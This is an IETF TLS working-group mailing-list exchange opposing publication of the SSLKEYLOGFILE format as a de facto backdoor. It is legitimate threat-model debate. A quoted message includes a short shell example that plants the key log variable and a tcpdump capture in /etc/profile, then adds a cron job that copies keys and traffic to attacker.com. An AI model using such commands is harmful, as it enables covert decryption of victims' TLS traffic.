I agree with Stephen and Tomas on this one. Additionally, in  my opinion, this 
WG should not have published any SSLKEYLOGFILE documents, because they 
effectively standardize a backdoor.
It is understood that there is a need for debugging, and it is understood that 
certain SW vendors want to agree on a common log data format and publish this 
format.

However:
- Debugging can (and should) be accomplished without a complete compromise of 
the security protocol (arguably, with less ease/convenience).
- Backdoor specifications can be agreed upon outside the IETF process and 
published as part of the respective SW vendor's documentation, without 
involving the IETF.

Cheers,

Andrei

-----Original Message-----
From: Bellebaum, Thomas <thomas.belleb...@aisec.fraunhofer.de> 
Sent: Friday, February 21, 2025 2:18 AM
To: stephen.farr...@cs.tcd.ie; robainloy...@gmail.com; rs...@akamai.com; 
hka...@redhat.com
Cc: tls@ietf.org
Subject: [EXTERNAL] [TLS] Re: 2nd Working Group Last Call for The SSLKEYLOGFILE 
Formatfor TLS

[You don't often get email from thomas.belleb...@aisec.fraunhofer.de. Learn why 
this is important at https://aka.ms/LearnAboutSenderIdentification ]

> I disagree with this because if an attacker could write to the 
> environment variable used by the program or is able to side-load a 
> library and capture outbound packets, it is very likely that they 
> already have privileged access to the machine.

I am questioning the threat model. Just like Perfect Forward Secrecy comes at 
an unbearable cost if you believe that TLS cannot provide ANY security if you 
ever get compromised (The advocate might say: after all, the database is not 
encrypted, there are backups, ...).

In that spirit, let us assume that some individual has root access to an 
average user's computer.
What could theoretically happen? Anything. Agreed.
What could practically happen? Well, it depends...

Say the user is using Linux (that is what I have, I assume Windows has similar 
functionality):

```sh
echo "export SSLKEYLOGFILE=/tmp/keys" >> /etc/profile echo "tcpdump -w 
/tmp/traffic &" >> /etc/profile echo "0 * * * * scp /tmp/keys /tmp/traffic 
u...@attacker.com:~/" >> /etc/crontab ``` (You get the point. Let us assume 
that the kinks would be filtered out before deploying :) )

This is simple enough to fit in a forum post and fortunately for our attacker, 
the TCP dumps can now be automatically parsed using a range of tools since all 
relevant protocols (TCP/TLS/HTTP/SMTP/Twitter-API/...) are well documented.

Next, let us go out of our way and assume that interoperable file formats did 
not exist.
Again, in theory, our attacker could replace programs to leak the keys, 
side-load a library, perform memory dumps and analyze them, etc.
Is he going to do that, though?

All the above methods do not scale to many programs at once. In each case, an 
attacker would first need to figure out a way to do that (and do it reliably in 
an automated fashion).
It would suprise me to learn that the same potential would rest in three lines 
of shell code.
Yes, state level actors, etc. have enough resources to not care. How about an 
abusive partner in your relationship? A bit of frustration on their side might 
go a long way.

This is the difference I am worried about. It is not quantifiable in the 
cryptographic sense (Any attacker with resources X has probability < Y to 
achieve Z), but it is relevant in practice.

We can make the adversary work a bit harder using very simple measures. For 
instance, by suggesting that applications should notify their users if this 
method is used, the above gain disappears.
Cost: An extra if clause in the code to display the happy green location bar. 
Effect: Can hardly be less than that.

> There already is widely deployed software that leaks key information.  
> OpenSSL has a trace facility, normally compiled out, that reports 
> PKCS#12 passwords[1]. The keylog stuff *is* compiled-out by default. 
> The OpenSSL library also provides a register-callback function that 
> will get private key material and that is always enabled which the 
> OpenSSL project does not consider a security risk[2]. I assume OpenSSL 
> qualifies as widely-deployed. :)

This is scary as well. I did not know that :) Still, this is one 
implementation. We are considering interoperability-enabling documents.
If misuse of this API should become a real-world issue, the OpenSSL project 
will almost certainly be able to remidy it faster than the IETF.

_______________________________________________
TLS mailing list -- tls@ietf.org
To unsubscribe send an email to tls-le...@ietf.org

Reply via email to